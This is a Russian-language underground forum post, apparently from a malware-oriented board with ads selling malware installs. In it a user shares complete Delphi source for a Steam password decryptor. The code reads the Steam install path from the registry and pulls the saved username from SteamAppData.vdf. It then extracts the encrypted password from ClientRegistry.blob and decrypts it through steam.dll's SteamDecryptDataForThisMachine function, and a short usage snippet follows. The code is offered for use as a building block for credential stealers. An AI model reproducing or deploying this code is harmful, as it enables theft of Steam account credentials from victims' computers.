contact us rules avd support awards upload blog group gallery home


 


|LoadsSell.net - Мы продаем загрузки| |PlohihZagRusOK.net - у нас нет плохих загрузок| |installsmarket.net - качественные загрузки любых стран| |installsdealer.com - Ваши дилеры на рынке инсталлов| |ZagruzkiNah.Com - чоткие загрузы| |107928 - продаю загрузки|

 
Старый 1 день назад   #1
WestSide

Windows 95

Регистрация: 19.11.2010
Сообщений: 95
Поблагодарили всего: 46
за это сообщение: 1
По умолчанию Дешифратор Steam

Код:
unit SteamPasswordDecryptUnit; 

interface 

uses 
  Windows, Sysutils, Classes, Registry; 

function SteamUserName : String; 
function SteamPassword : String; 

type 
TSteamDecryptDataForThisMachine = function(EncryptedData :Pchar; 
                                           EncryptedDataLength : Integer; 
                                           DecryptedBuffer : Pointer; 
                                           DecryptedBufferSize : Integer; 
                                           DecryptedDataSize : PUINT) : Integer; 
                                           cdecl; 

var 
  Reg : TRegistry; 
  SteamPath : String; 
  StringStream : TStringStream; 
  FileStream : TFileStream; 
  I : Integer; 
  UserName : PChar; 
  EncryptedPassword : PChar; 
  DecryptionKey : TSteamDecryptDataForThisMachine; 
  PasswordLength : UINT; 
  Password : array[0..99] of char; 

implementation 

function SteamUserName : String; 
begin 
  try 
  //Finds Steam Installation Path 
  Reg := TRegistry.Create; 
  Reg.RootKey := HKEY_CURRENT_USER; 
  Reg.OpenKey('Software\Valve\Steam\',false); 
  SteamPath := Reg.ReadString('SteamPath'); 
  //Locates UserName within the SteamAppData.vdf file 

  FileStream := TFileStream.Create(SteamPath+'configSteamAppData.vdf',fmOpenRead); 
  StringStream := TStringStream.Create(''); 
  StringStream.CopyFrom(FileStream, FileStream.Size); 
  FreeandNil(FileStream); 
  I := Pos('AutoLoginUser',StringStream.DataString); 
  I := I + 17; 
  UserName := PChar(copy(StringStream.DataString,I,Pos('"',copy(StringStream.DataString,I,100))-1)); 
  FreeandNil(StringStream); 
  Result := UserName; 
  except 
  Result := 'Error'; 
  end; 
end; 

function SteamPassword : String; 
begin 
  try 
  //Finds Steam Installation Path 
  Reg := TRegistry.Create; 
  Reg.RootKey := HKEY_CURRENT_USER; 
  Reg.OpenKey('Software\Valve\Steam\',false); 
  SteamPath := Reg.ReadString('SteamPath'); 
  //Locates Encrypted Password within the ClientRegistry.blob file 
  FileStream := TFileStream.Create(SteamPath+'\ClientRegistry.blob',fmOpenRead); 
  StringStream := TStringStream.Create(''); 
  StringStream.CopyFrom(FileStream, FileStream.Size); 
  FreeandNil(FileStream); 
  I := Pos('Phrase',StringStream.DataString); 
  I := I + 40; 
  EncryptedPassword := PChar(copy(StringStream.DataString,I,255)); 
  FreeandNil(StringStream); 
  //Uses SteamDecryptDataForThisMachine function from Steam.dll to decrypt password 
  DecryptionKey := GetProcAddress(LoadLibrary(PChar(SteamPath+'\steam.dll')),'SteamDecryptDataForThisMachine'); 
  DecryptionKey(EncryptedPassword, strlen(EncryptedPassword),@Password, 100,@PasswordLength); 
  Result := Password; 
  except 
  Result := 'Error'; 
  end; 
end; 

end.
юзаем
Код:
Memo1.lines.Add(SteamUserName); 
Memo1.lines.Add(SteamPassword);
WestSide вне форума  
Сказали 'Спасибо' за это сообщение.
Ответить с цитированием
Сказали спасибо:
Dave (21 час(ов) назад)
Ответ

Нижняя навигация
Вернуться   Fuck Anti Virus > Работаем с файлами > Source


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 

(Подробнее Тему прочитали: 9
Dave, GrammarNazi, kekx_plant, limit, MarSeR, Reptiliy, vazonez, WestSide, _Stealer_
Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра
Комбинированный вид Комбинированный вид

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход


Часовой пояс GMT +4, время: 08:45.


Powered by vBulletin® Version 3.8.4
Copyright ©2000 - 2010, Jelsoft Enterprises Ltd. Перевод: zCarot